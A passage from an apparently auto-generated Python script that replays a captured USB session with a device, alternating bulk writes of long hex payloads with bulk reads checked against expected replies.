b\"\\x10\\xF5\\xFD\\xB8\\x85\\x29\\x5D\\x1F\\xBD\\x5A\\xAF\\xF9\\xCD\\xBE\\x1B\\x28\"\n b\"\\x72\\x59\\x37\\x90\\xEE\\x5D\\xAE\\x1A\\x32\\x0B\\x40\\x8C\\x80\\x33\\x65\\x04\"\n b\"\\x7C\\xAA\\x2A\\x05\\x2F\\x86\\xB0\\x9F\\x28\\xF8\\xD4\\x39\\xCD\\xC1\\xE0\\x6C\"\n b\"\\x9F\\x08\\x1E\\xAC\\x7F\\x70\\x4F\\x1D\\xFD\\x4A\\x5D\\x0B\\xFF\\x35\\x8D\\x59\"\n b\"\\x29\\x72\\x38\\x63\\x7B\\x6B\\x5F\\xDB\\x41\\x40\\x2F\\xFD\\x63\\xB3\\x64\\x58\"\n b\"\\x20\\x21\\x3B\\x82\\x38\\xD6\\xC6\\xC5\\xB7\\xBF\\xF2\\x05\\x6D\\xC4\\x6F\\x24\"\n b\"\\x42\\x03\\xFA\\x5A\\x87\\xDD\\x5D\\xA2\\x38\\x3A\\x99\\x39\")\n # Generated from packet 407/408\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 407/408\")\n # Generated from packet 409/410\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x95\\xED\\x2E\\x27\\x9E\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3D\\x5B\\x34\\x56\\x17\\x0E\\x18\\x23\"\n b\"\\xA1\\x62\\x5C\\xA7\\x11\\xC2\\xF0\\xCF\\x5D\\x87\\xE2\\xE7\\x1E\\x8D\\x0A\\xB9\"\n b\"\\x9B\\xFB\\x2D\\xF1\\x13\\x10\\xA3\\x99\\xC5\\x82\\xA4\\x23\\x1D\\x29\\x96\\x9E\"\n b\"\\x92\\x31\\x4B\\x9B\\xDE\\xE7\\x43\\x94\\x9D\\x2C\\x51\\xB9\\x48\\x50\\x25\\x4D\"\n b\"\\xE0\\x72\\x37\\x36\\x72\\x77\\x67\\x35\\x56\\x50\\x04\\xC8\\x65\\x40\\x58\\xEF\"\n b\"\\xDF\\x49\\x03\\x73\\x53\\x05\\x0D\\x6B\\xEE\\x96\\x5E\\xD9\\xC0\\x49\\x9A\\xE2\"\n b\"\\xE2\\xD8\\xA4\\xF5\\x36\\x83\\x81\\xE0\\x34\\xBE\\xA1\\xC8\\xEE\\x7A\\xE7\\x85\"\n b\"\\xD1\\x0A\\xD6\\x8D\\xEE\\xB4\\xD4\\x69\\xEF\\xBC\\x44\\x45\\x8A\\xFB\\x03\\xFC\"\n b\"\\x3C\\xAB\\xF3\\xD1\\x9B\\xA7\\xE0\\xCC\\x17\\x2D\\x87\\x43\\x3F\\x7E\\x25\\x86\"\n b\"\\xF6\\x94\\x9D\\x9F\\xB7\\x91\\xA8\\x74\\x77\\x79\\x55\\xD5\\x01\\x7C\\x80\\x37\"\n b\"\\x74\\x4C\\x6F\\x5A\\x35\\x1D\\xE0\\x35\\x49\\xAE\\xB9\\x7E\\xD4\\xA7\\x88\\x18\"\n b\"\\x57\\xCF\\x6C\\x58\\x2E\\x03\\x0B\\xF4\\xC2\\x50\\x04\\x1F\\x6F\\x1C\\x51\\x31\"\n b\"\\xB8\\x4E\\xC4\\x05\\x08\\x3A\\xCA\\x8C\\x5E\\xF0\\x93\\x56\\xD9\\xF8\\x53\\xFD\"\n b\"\\x00\\x71\\xFA\\xF6\\x1D\\xDE\\x30\\x8F\\x14\\xE3\\x07\\x81\\xFF\\x0F\\x90\\x5A\"\n b\"\\xDA\\x8B\\xC0\\xAB\\xB3\\xF3\\x38\\x0D\\x48\\x66\\x33\\xB4\\xA1\\x73\\xC2\\x90\"\n b\"\\x81\\xBC\\x83\\x5C\\xFB\\xAD\\x19\\xEA\\xE9\\x22\\xCD\\xE0\\xCA\\x37\\x41\\x88\"\n b\"\\x85\\x8D\\xDF\\xDA\\x7D\\x86\\x24\\xE3\\xC4\\x44\\xC3\\xA2\")\n # Generated from packet 411/412\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 411/412\")\n # Generated from packet 413/414\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB0\\xF3\\x4E\\xCE\\x7D\\x79\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEF\\x17\\x66\\x20\\x0F\\x05\\x06\\xA8\"\n b\"\\xFD\\x77\\x32\\xDA\\xF6\\xD0\\x0D\\x03\\x97\\x28\\x3B\\xAD\\x0F\\xA5\\x99\\x13\"\n b\"\\xBD\\x42\\x2F\\x0F\\x9E\\x04\\x07\\x11\\xB3\\x89\\xE8\\x11\\xF6\\x3B\\xEC\\x0B\"\n b\"\\xD7\\xE1\\xCF\\x6C\\xFD\\x04\\x80\\xA3\\x1D\\xE5\\xC2\\x21\\xA2\\xC3\\x34\\xFB\"\n b\"\\xF7\\x14\\x2A\\xE7\\xC6\\xED\\x60\\x47\\xD6\\x15\\xDD\\x0E\\xD1\\x6E\\xDB\\xC1\"\n b\"\\xBF\\xC2\\xB0\\xF2\\x49\\x9D\\xA2\\xD8\\x14\\x80\\x27\\x5B\\xF1\\xA4\\x4D\\x23\"\n b\"\\xAC\\x72\\x50\\x4D\\xBD\\x58\\x57\\xEB\\x22\\xFF\\x12\\xE3\\x57\\x26\\xE7\\x0D\"\n b\"\\xE3\\x2A\\x9A\\x24\\x73\\x3B\\x25\\x6E\\x16\\x7F\\xCE\\x12\\x37\\xCD\\x8D\\xA8\"\n b\"\\xE2\\x6E\\x19\\xC3\\x0B\\x51\\xBB\\x78\\x08\\x93\\x0C\\xE3\\x86\\x57\\x76\\x59\"\n b\"\\xD2\\x7F\\x0B\\x7C\\x75\\xB1\\x4F\\x64\\x7B\\x69\\x2B\\x75\\x95\\x49\\xE8\\xA0\"\n b\"\\x38\\x96\\x0F\\x70\\xF1\\x78\\x51\\x58\\x7B\\x22\\x4C\\xB5\\x11\\x68\\xDF\\x1D\"\n b\"\\x7C\\xE1\\x65\\x0E\\xF9\\xAB\\xA8\\xBE\\xCA\\x70\\x43\\xB6\\x3D\\x77\\x6D\\x72\"\n b\"\\x34\\x73\\x03\\xB8\\x2D\\xCC\\x45\\xAA\\x82\\xB3\\xEB\\xC1\\x7E\\xFA\\xD2\\xDF\"\n b\"\\x97\\x8D\\xE4\\xF3\\x3F\\x19\\xF3\\x53\\xF2\\xBE\\x0C\\x7D\\xF3\\xB5\\x39\\xA9\"\n b\"\\x58\\x8C\\x58\\xF3\\xCA\\x5C\\xF4\\x8C\\xB1\\x55\\xA1\\x68\\x66\\x8E\\x76\\xEC\"\n b\"\\xF3\\x4A\\xF2\\x59\\x54\\x1C\\xFD\\x4E\\x42\\xC5\\xE2\\x8F\\xBA\\x80\\x78\\xBD\"\n b\"\\x98\\x25\\x1A\\x53\\x69\\x56\\x36\\x05\\xD7\\xFD\\x7D\\xE8\")\n # Generated from packet 415/416\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 415/416\")\n # Generated from packet 417/418\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x69\\xEF\\x53\\x36\\x49\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDE\\x49\\xC6\\x54\\xE2\\xB4\\x13\\x0D\"\n b\"\\xA9\\xC7\\xFE\\x70\\x85\\x5D\\x9B\\xD3\\x42\\xF4\\x72\\x7D\\x10\\xFC\\x80\\x06\"\n b\"\\x7D\\x3B\\x23\\x11\\x5C\\x86\\x1C\\x13\\xD5\\xA2\\x69\\x4D\\x9B\\x22\\x2E\\xA6\"\n b\"\\x8D\\x9B\\x24\\x7E\\x98\\x07\\xAD\\x9F\\x1F\\x25\\x46\\xA7\\xB3\\x41\\x1E\\x53\"\n b\"\\x19\\x6D\\x77\\x73\\x05\\xF7\\x89\\x86\\x57\\xF3\\xDB\\x57\\x0B\\x20\\xC3\\xD9\"\n b\"\\x55\\xC8\\x4E\\x29\\x07\\x4A\\x30\\xB1\\xAF\\xC8\\x25\\x5B\\x05\\x16\\xDD\\x92\"\n b\"\\xFD\\x35\\x32\\xF3\\xD4\\x93\\xBC\\xEF\\x39\\x5C\\x95\\x05\\xA0\\xD6\\xA4\\x2D\"\n b\"\\x69\\x5D\\x7E\\xEE\\x45\\x71\\xDE\\x14\\xD3\\x81\\x20\\xC3\\x4D\\x56\\xD3\\x86\"\n b\"\\x6B\\x63\\x4D\\x58\\xFA\\xCE\\x0E\\x52\\xC7\\xA3\\xB4\\x4A\\x01\\x10\\xA0\\xC2\"\n b\"\\x33\\xFB\\xD3\\x92\\x02\\xCA\\x79\\x6B\\x76\\xE5\\x84\\x92\\x59\\xDF\\x92\\x1D\"\n b\"\\x09\\x28\\x7E\\xB1\\x32\\xAF\\x0D\\x08\\xAE\\x85\\xFC\\xBE\\x23\\x48\\xF1\\x60\"\n b\"\\x0F\\x5F\\xB0\\x80\\x63\\xD0\\xF0\\xEE\\xBE\\x99\\x14\\x38\\xF0\\xCD\\x1F\\x46\"\n b\"\\x45\\x65\\x0E\\xC4\\x49\\x15\\x67\\xF0\\x3A\\xD2\\xF0\\x47\\x8F\\x49\\x5F\\x35\"\n b\"\\x2A\\xEB\\x18\\xF0\\x8C\\xF3\\xE7\\x43\\x85\\xE0\\x6D\\xF4\\x6F\\xFA\\xED\\x99\"\n b\"\\x78\\x47\\x6A\\x8C\\x40\\x8F\\x13\\xB0\\x26\\x8C\\xFB\\x1C\\x53\\x5B\\x41\\xB1\"\n b\"\\x14\\x6B\\xA8\\xB5\\x0A\\x07\\x66\\xF5\\xE1\\x0F\\x5B\\xBC\\xF0\\xB4\\xE5\\xD4\"\n b\"\\x6E\\x25\\x60\\x74\\x1B\\x2B\\xE1\\x6B\\x8A\\x5D\\xE7\\x74\")\n # Generated from packet 419/420\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 419/420\")\n # Generated from packet 421/422\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBE\\xFA\\x99\\xCC\\xDC\\x0D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x59\\x15\\xB6\\x06\\xF2\\x21\\x56\\xDC\"\n b\"\\x76\\xC7\\x5B\\xED\\x12\\xF1\\x0F\\x72\\x40\\x26\\x74\\x7E\\x1F\\x16\\x38\\x30\"\n b\"\\xBF\\x8A\\xED\\x49\\x39\\xE9\\x89\\xB7\\x28\\xB4\\x67\\x93\\x7B\\x5D\\x16\\xAB\"\n b\"\\x57\\xD5\\x50\\x10\\xF9\\xDF\\x57\\x82\\x7E\\x23\\x6D\\xE4\\x02\\x7D\\x13\\xB3\"\n b\"\\x8B\\xE0\\x5A\\x72\\x75\\xFC\\xEB\\xFE\\x25\\x5B\\x13\\x8B\\xF3\\xDF\\x47\\x21\"\n b\"\\x9B\\x18\\xEB\\x06\\x2E\\x92\\xD2\\x75\\x06\\x7B\\x11\\x4D\\x3C\\x6D\\x98\\xB2\"\n b\"\\x70\\x3F\\xB1\\xB3\\x23\\x1F\\x68\\xC7\\x95\\x0C\\x06\\x38\\xDC\\x05\\x82\\x2F\"\n b\"\\x53\\xC5\\xB8\\xA8\\xF5\\x85\\x2E\\x75\\x0D\\xA1\\xDA\\x48\\xD2\\x4B\\x1F\\x9C\"\n b\"\\x2E\\x5C\\xF4\\x38\\xFF\\x8D\\xE9\\x17\\xB2\\xF0\\xAF\\x0E\\x49\\x9C\\xBB\\x93\"\n b\"\\x45\\xA1\\xD9\\xC9\\xF7\\x62\\xBC\\xFE\\xEA\\x78\\xDC\\x16\\x20\\xE0\\x56\\xBB\"\n b\"\\x37\\x93\\xF8\\xDC\\xC3\\xB0\\xD6\\x9D\\xDC\\x82\\x7C\\x4C\\x29\\xD0\\xA3\\xA6\"\n b\"\\xE1\\x73\\x51\\x81\\xC7\\x05\\x99\\x79\\xD4\\xC7\\x58\\x79\\x34\\x04\\xAE\\xF5\"\n b\"\\x45\\x11\\x00\\xBC\\xD9\\xB4\\x49\\x63\\x2F\\x26\\x89\\xC9\\x8D\\x08\\x7E\\x5B\"\n b\"\\x57\\x55\\xBF\\x9F\\x2A\\x02\\x6F\\x13\\x45\\xEA\\x06\\x6B\\x56\\x91\\x36\\x50\"\n b\"\\x92\\x72\\xB2\\x27\\xF4\\xBA\\x85\\x98\\x14\\xDC\\x80\\xBD\\x61\\x20\\xD1\\xD8\"\n b\"\\xB8\\x22\\xF1\\x34\\xD3\\xDD\\xEE\\x15\\x0D\\x7A\\x3D\\xF2\\xA5\\x1B\\xF5\\xD9\"\n b\"\\x48\\xD5\\x41\\x04\\xB5\\xAA\\xE2\\x00\\x8C\\x57\\x33\\xD8\")\n # Generated from packet 423/424\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 423/424\")\n # Generated from packet 425/426\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x27\\x5F\\xD9\\x16\\xAD\\x4C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x94\\xBF\\x82\\xAF\\x31\\xB6\\xEC\\xA8\"\n b\"\\x0F\\x75\\xE7\\x4F\\xB7\\x3D\\x89\\xE6\\x3A\\xDE\\x18\\x7E\\xA6\\xCD\\x69\\x86\"\n b\"\\x8A\\xC7\\x50\\x90\\xCD\\x75\\x28\\x2C\\x46\\x4B\\x09\\x50\\xA8\\xC1\\x8B\\xE6\"\n b\"\\x27\\xA8\\x3E\\x26\\xD1\\x06\\x4F\\x8D\\x17\\xB5\\x57\\x97\\x45\\xA0\\xEB\\x32\"\n b\"\\xA5\\x70\\xEB\\x12\\x10\\x8A\\xB2\\x67\\x7E\\x4B\\x0D\\x8D\\x56\\x98\\x00\\x23\"\n b\"\\x9C\\xDD\\xE1\\x9F\\xA9\\x7A\\xEC\\x93\\x65\\xB3\\x84\\xB8\\x56\\xE8\\x94\\xCD\"\n b\"\\x19\\x79\\xBE\\xCC\\x9F\\xF1\\xD4\\x0C\\x5D\\x67\\x58\\x18\\x38\\xA7\\x9D\\xFC\"\n b\"\\x71\\x1F\\x82\\x94\\x33\\x1D\\x96\\x3E\\x8E\\x29\\xD8\\x46\\x8E\\x4E\\xC4\\x7F\"\n b\"\\x8C\\xF3\\x9A\\x20\\x4B\\xFE\\x44\\xF8\\xAD\\x5A\\x9A\\xD4\\x2C\\x20\\x10\\x95\"\n b\"\\x11\\x73\\xF8\\xBC\\xED\\x98\\xD6\\x9D\\x32\\x32\\x7A\\xD8\\x3F\\xEA\\xDD\\x0B\"\n b\"\\x29\\x22\\x51\\x93\\xE9\\x6F\\x1B\\x4C\\x02\\x3E\\xDC\\x7B\\xDA\\xBC\\xA8\\xE0\"\n b\"\\x57\\xEB\\xC4\\x44\\x6B\\xCB\\x4F\\xE3\\x65\\x9F\\x41\\x49\\x31\\x31\\xBE\\x13\"\n b\"\\x79\\x7D\\xE3\\x1D\\x7B\\x06\\x9C\\x6B\\x14\\xAE\\xF5\\x92\\x0F\\x17\\xB2\\x84\"\n b\"\\xDE\\x20\\x44\\x4A\\xB4\\x69\\x07\\xCE\\xC2\\xD6\\x86\\x89\\xB9\\x8A\\xC7\\x1C\"\n b\"\\xAC\\x9B\\xF7\\xE0\\xC1\\xE6\\xDA\\x51\\x29\\xA5\\xDB\\x16\\xEB\\xDB\\x8F\\xEB\"\n b\"\\xDC\\xA6\\x13\\x24\\xBB\\x8F\\xDE\\x5B\\x71\\x9C\\x1C\\xC4\\xB0\\xD0\\x7A\\x8A\"\n b\"\\xE2\\xF9\\xF5\\xD5\\x4E\\xC1\\xDF\\x83\\xA0\\xF8\\x00\\xDE\")\n # Generated from packet 427/428\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 427/428\")\n # Generated from packet 429/430\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB4\\x0F\\xE6\\xF0\\x4F\\x31\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x27\\xE9\\x3F\\x76\\xB8\\x36\\x84\\x78\"\n b\"\\x37\\x1F\\x84\\x38\\x86\\xF7\\x5F\\x92\\xEB\\xD1\\x14\\xEA\\xF0\\x10\\xD7\\x62\"\n b\"\\xA4\\x99\\x6D\\x62\\x1C\\xB2\\x3E\\x23\\xA3\\x84\\x3E\\xED\\xB0\\x22\\xEB\\xC9\"\n b\"\\x37\\x08\\xE6\\xFD\\xC6\\x9D\\x90\\xC7\\xEF\\xA2\\x36\\x81\\xD3\\xC4\\x1B\\xD5\"\n b\"\\x0D\\xCB\\xCE\\x97\\x49\\x3B\\x8B\\x3D\\xA9\\x08\\x41\\x10\\xC5\\xD2\\x17\\xF1\"\n b\"\\x51\\xC3\\x6B\\x37\\x2B\\xEF\\x4D\\xE1\\x12\\x54\\x1C\\xED\\xC8\\x62\\x45\\x47\"\n b\"\\x06\\x03\\xC9\\x55\\xD7\\xE9\\x48\\x21\\xC7\\xDB\\x1C\\xB7\\x9C\\x38\\xC2\\xA9\"\n b\"\\x97\\x4E\\xA3\\x94\\xE7\\x3F\\xBC\\xA2\\xAB\\xEC\\x65\\x23\\xB4\\x85\\xD8\\x69\"\n b\"\\xFF\\xAD\\x1D\\x20\\x27\\x06\\x3F\\xDD\\x96\\x81\\xA2\\x11\\x04\\x6E\\xC4\\xEF\"\n b\"\\x41\\x30\\x94\\xF5\\x62\\x3F\\x94\\x0F\\xA1\\x80\\x85\\xBE\\x0D\\x54\\xF8\\x6E\"\n b\"\\x8A\\x4C\\xBF\\x6F\\x69\\x3D\\xB8\\x0B\\x5B\\xD5\\xC1\\xB0\\x83\\x18\\x96\\x52\"\n b\"\\xAA\\x7E\\x68\\xD4\\x97\\x2A\\x70\\x90\\xAB\\x64\\xD1\\xE8\\x02\\xF1\\xBD\\xD0\"\n b\"\\xEC\\x7B\\x96\\x09\\x5B\\xE5\\x4F\\x44\\xF9\\x51\\xD6\\x90\\x4B\\xFA\\xA1\\xE9\"\n b\"\\x4E\\x84\\x0A\\x4E\\x77\\xA7\\x51\\x6A\\x7B\\x88\\x3A\\x16\\xE1\\xE4\\xC0\\x66\"\n b\"\\xFA\\x76\\xB4\\x32\\xDC\\x09\\x6C\\xD1\\x97\\xA2\\x96\\x21\\x55\\x5C\\x09\\x3A\"\n b\"\\x8C\\x17\\xC8\\x21\\x48\\x0C\\x1A\\x77\\x7D\\x7D\\xFE\\x8D\\x70\\xF6\\x13\\x16\"\n b\"\\x8B\\x87\\x49\\xD8\\x7D\\x3E\\x50\\xB2\\xC4\\x8D\\x8A\\x30\")\n # Generated from packet 431/432\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 431/432\")\n # Generated from packet 433/434\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8A\\xC2\\x6E\\xC1\\x14\\x5E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x51\\xA8\\x78\\x84\\xDC\\x2F\\x78\\x35\"\n b\"\\xE8\\x1A\\x86\\x16\\xE8\\x16\\xAC\\xBC\\x1D\\xAC\\xAC\\x16\\x32\\x4F\\x3C\\x9B\"\n b\"\\x6C\\x62\\xAB\\xD5\\xEF\\x81\\xF2\\x5F\\x6C\\x50\\xD5\\xBC\\x45\\xB7\\xF4\\x5C\"\n b\"\\xD1\\x15\\x8E\\x1C\\xD5\\xE0\\x2E\\xAA\\x05\\x6D\\xAD\\xEF\\xF8\\x03\\xA7\\x74\"\n b\"\\x36\\x5E\\xCA\\xE5\\x99\\x55\\x8C\\x2E\\xD1\\xB5\\xA1\\xCC\\xB6\\xAB\\x6B\\x1F\"\n b\"\\xF8\\xFD\\x2D\\xFB\\x1E\\x4C\\x11\\x6C\\xE0\\xA8\\x49\\x0E\\x94\\x38\\xB0\\xC5\"\n b\"\\xC7\\x5E\\x08\\x43\\x86\\x8A\\x50\\x59\\x82\\x08\\xF1\\xC2\\xB2\\x90\\x03\\xF6\"\n b\"\\x4B\\x82\\x99\\x13\\x91\\xF7\\x9A\\xDD\\xD3\\xEE\\xAD\\xB4\\xF6\\xA5\\x0E\\xC6\"\n b\"\\x65\\xA5\\x65\\x13\\x43\\x69\\xE3\\xE9\\x2C\\xCB\\xB6\\xC3\\xA2\\x4A\\xE2\\x03\"\n b\"\\x22\\xE1\\xBD\\xFD\\xC0\\x93\\x28\\xD7\\x20\\x5A\\xED\\x48\\x5E\\x04\\xF7\\xE7\"\n b\"\\xC3\\xBF\\xF0\\x8A\\xA3\\x6E\\x7B\\xFF\\x61\\xFB\\xC0\\x70\\xD6\\xA5\\x3C\\x8B\"\n b\"\\xE5\\x0E\\x22\\x7D\\x4A\\x20\\xF2\\xAA\\x41\\x11\\x72\\x9E\\xF2\\xE4\\xE2\\xF0\"\n b\"\\x37\\xF2\\xE3\\xE6\\x34\\x72\\x07\\x4E\\xC0\\x59\\xEB\\xD3\\x31\\x71\\xEE\\xF3\"\n b\"\\xEC\\xCA\\xD3\\xC1\\xDF\\x27\\x26\\xDB\\xC7\\x21\\x7A\\x74\\x41\\x63\\x6A\\x6E\"\n b\"\\xE2\\x45\\x57\\x0D\\x33\\x73\\x2B\\x36\\x36\\xC9\\x61\\x10\\x3B\\xDC\\xBF\\x6B\"\n b\"\\xDC\\xA8\\x8E\\x7C\\x69\\x65\\x57\\x3D\\xCF\\xF5\\x0D\\xE6\\x1B\\xE3\\x13\\x25\"\n b\"\\xD9\\x56\\x18\\x80\\x40\\x10\\xCB\\x0A\\x67\\xC2\\xD9\\x9E\")\n # Generated from packet 435/436\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 435/436\")\n # Generated from packet 437/438\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE7\\xEB\\x86\\x53\\xF2\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAD\\x86\\x3C\\x69\\x06\\xB5\\xED\\x4D\"\n b\"\\x30\\x71\\x60\\x07\\x58\\x49\\xC9\\x01\\x15\\x7F\\x27\\x23\\x5F\\xF8\\xB2\\xE8\"\n b\"\\xE3\\x4A\\x47\\xC6\\x65\\xFF\\xEA\\x30\\xBC\\x35\\xF6\\x91\\x47\\x6B\\x98\\x0E\"\n b\"\\xD3\\xDF\\xEC\\xB6\\x32\\xF9\\x16\\x20\\xA8\\xC5\\xCC\\x2D\\xF1\\x30\\xE9\\x7B\"\n b\"\\x5F\\x11\\x18\\xB0\\xC2\\x8B\\x4A\\xED\\xC0\\x6D\\x7C\\xD5\\xB5\\xFA\\x74\\x5C\"\n b\"\\x22\\xF7\\x20\\x9F\\xCA\\xFB\\x95\\xDA\\x76\\x21\\x95\\x9C\\xB8\\x32\\x11\\x0F\"\n b\"\\x85\\xA4\\xA3\\x09\\xD8\\x1A\\xE4\\xF7\\x75\\xD1\\x23\\x2B\\x06\\xD5\\xAF\\xA4\"\n b\"\\x68\\x5E\\xF4\\x6E\\xF6\\x7F\\xE9\\x30\\xEB\\x55\\x4E\\x44\\xBA\\xD1\\x4D\\xE2\"\n b\"\\x0A\\xBA\\x8F\\x78\\xB9\\xF6\\x26\\xDC\\xC2\\xE0\\x79\\xD1\\x0C\\xAB\\x5D\\x42\"\n b\"\\x50\\x4B\\xA2\\x2E\\x40\\x72\\xAB\\xA6\\xA6\\xAD\\x34\\xCE\\x82\\xF2\\xBC\\x57\"\n b\"\\x5B\\x6C\\x71\\x1D\\x45\\x9A\\xF2\\x71\\x9D\\x72\\xA9\\x7C\\xA7\\xA8\\x4E\\x1B\"\n b\"\\xAB\\xDE\\xE7\\x8F\\x40\\x82\\x7E\\x45\\xB6\\x71\\x5C\\x96\\xAD\\x66\\x39\\xB8\"\n b\"\\xD5\\xCF\\x47\\x4F\\xAF\\x0F\\x87\\x36\\x3C\\x3C\\xAE\\xE3\\xD5\\x26\\x12\\x25\"\n b\"\\x39\\x63\\x1F\\xFF\\x0B\\x42\\x44\\x75\\x3F\\x48\\x31\\x6E\\x06\\x4F\\x1F\\x1C\"\n b\"\\x37\\x79\\xEE\\x46\\x63\\x0B\\x76\\x42\\xD1\\x71\\xF6\\x83\\x17\\x22\\x2C\\x0D\"\n b\"\\x07\\x89\\xC6\\xDF\\x01\\x58\\x9E\\x0A\\xD5\\x03\\x56\\x78\\x12\\x48\\x55\\x8A\"\n b\"\\x75\\x3B\\x04\\x10\\x5E\\x1A\\x7F\\xEF\\x15\\xF7\\x13\\x8C\")\n # Generated from packet 439/440\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 439/440\")\n # Generated from packet 441/442\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x10\\x41\\x2F\\x99\\x44\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x59\\x20\\xA3\\x83\\x39\\xC5\\xBE\\xC3\"\n b\"\\xF6\\x17\\x83\\x6D\\x13\\x75\\x90\\xA5\\xEA\\xB6\\x02\\x7C\\x42\\xF0\\x26\\xD4\"\n b\"\\x81\\xE7\\x01\\x2F\\xA4\\xF1\\xB2\\xC6\\x5F\\xAE\\xBE\\x74\\xB5\\xED\\x10\\xA0\"\n b\"\\x26\\xB0\\xF2\\xB1\\x47\\x33\\xF4\\x24\\x76\\x59\\xC3\\xF5\\xF1\\xE2\\xF1\\xD9\"\n b\"\\x03\\x37\\xF3\\xF8\\xB5\\xCA\\x6D\\x1B\\xE3\\x8D\\x1A\\x96\\x78\\x6F\\x3D\\x20\"\n b\"\\x0A\\x67\\xB9\\xEE\\x82\\xB5\\xAA\\x7E\\x68\\x94\\x18\\xB8\\x17\\xC6\\x25\\x8A\"\n b\"\\xB1\\x13\\xFD\\x77\\xB7\\x0A\\xFA\\x62\\x2B\\x41\\x80\\x37\\x51\\xA6\\x45\\x91\"\n b\"\\xEC\\xC9\\x07\\xF7\\x88\\xAC\\xB6\\x46\\x6E\\xBD\\x7B\\x64\\x20\\x31\\xFD\\xA5\"\n b\"\\x60\\x42\\x8B\\x31\\x61\\x1E\\x18\\xEB\\x4A\\x2D\\x28\\xFB\\xAA\\x23\\x68\\x81\"\n b\"\\x30\\xFD\\xB1\\x66\\x70\\x58\\xFE\\x4D\\x15\\x1B\\x7F\\x30\\xBE\\x02\\x0C\\xF8\"\n b\"\\x46\\x2E\\x6B\\x95\\x8E\\x3E\\x7F\\xCA\\xDE\\x4A\\xF3\\x4B\\x38\\x19\\xF0\\x6F\"\n b\"\\x7A\\x72\\xBA\\x49\\x9C\\x23\\xA7\\x8B\\x3B\\x8A\\xF0\\x72\\x42\\xF6\\x53\\xDF\"\n b\"\\xE4\\xE3\\x75\\x85\\xB8\\x59\\x46\\x49\\xDD\\x15\\xF6\\x6F\\x56\\x66\\x67\\xC9\"\n b\"\\xE0\\xC7\\x91\\x14\\x87\\xA3\\xDD\\x93\\xC9\\x24\\xD0\\x3C\\xDE\\x45\\xC1\\x41\"\n b\"\\xAC\\x8E\\x14\\xFE\\x59\\xA1\\xEB\\xB5\\x90\\x3F\\x7F\\xA6\\xC8\\x05\\xB6\\x38\"\n b\"\\xA5\\xBD\\x94\\xD8\\xE9\\xA0\\x66\\x74\\x55\\x1C\\x70\\xA1\\xF9\\x0D\\x6B\\xDD\"\n b\"\\xDA\\xCE\\xB4\\x79\\x7F\\xEA\\xEE\\xC5\\x1C\\xC8\\xB9\\x5B\")\n # Generated from packet 443/444\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 443/444\")\n # Generated from packet 445/446\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x08\\x22\\xD7\\x0B\\x40\\x2E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD7\\x53\\xE5\\xBF\\x7B\\xBD\\xCF\\xF4\"\n b\"\\xD2\\x03\\xD8\\x3F\\x7C\\x77\\xDA\\xC6\\xC1\\x59\\xAE\\xF6\\xA7\\xB0\\x74\\xBC\"\n b\"\\xE5\\xF5\\xA3\\x3F\\xBE\\x4F\\xD5\\xDB\\x55\\x8C\\x1A\\xF7\\x5B\\x17\\x8A\\x4D\"\n b\"\\x52\\x09\\x20\\x9D\\x8E\\x99\\xB4\\x7E\\x93\\xE5\\x5D\\x2B\\xD8\\x53\\xF0\\xC7\"\n 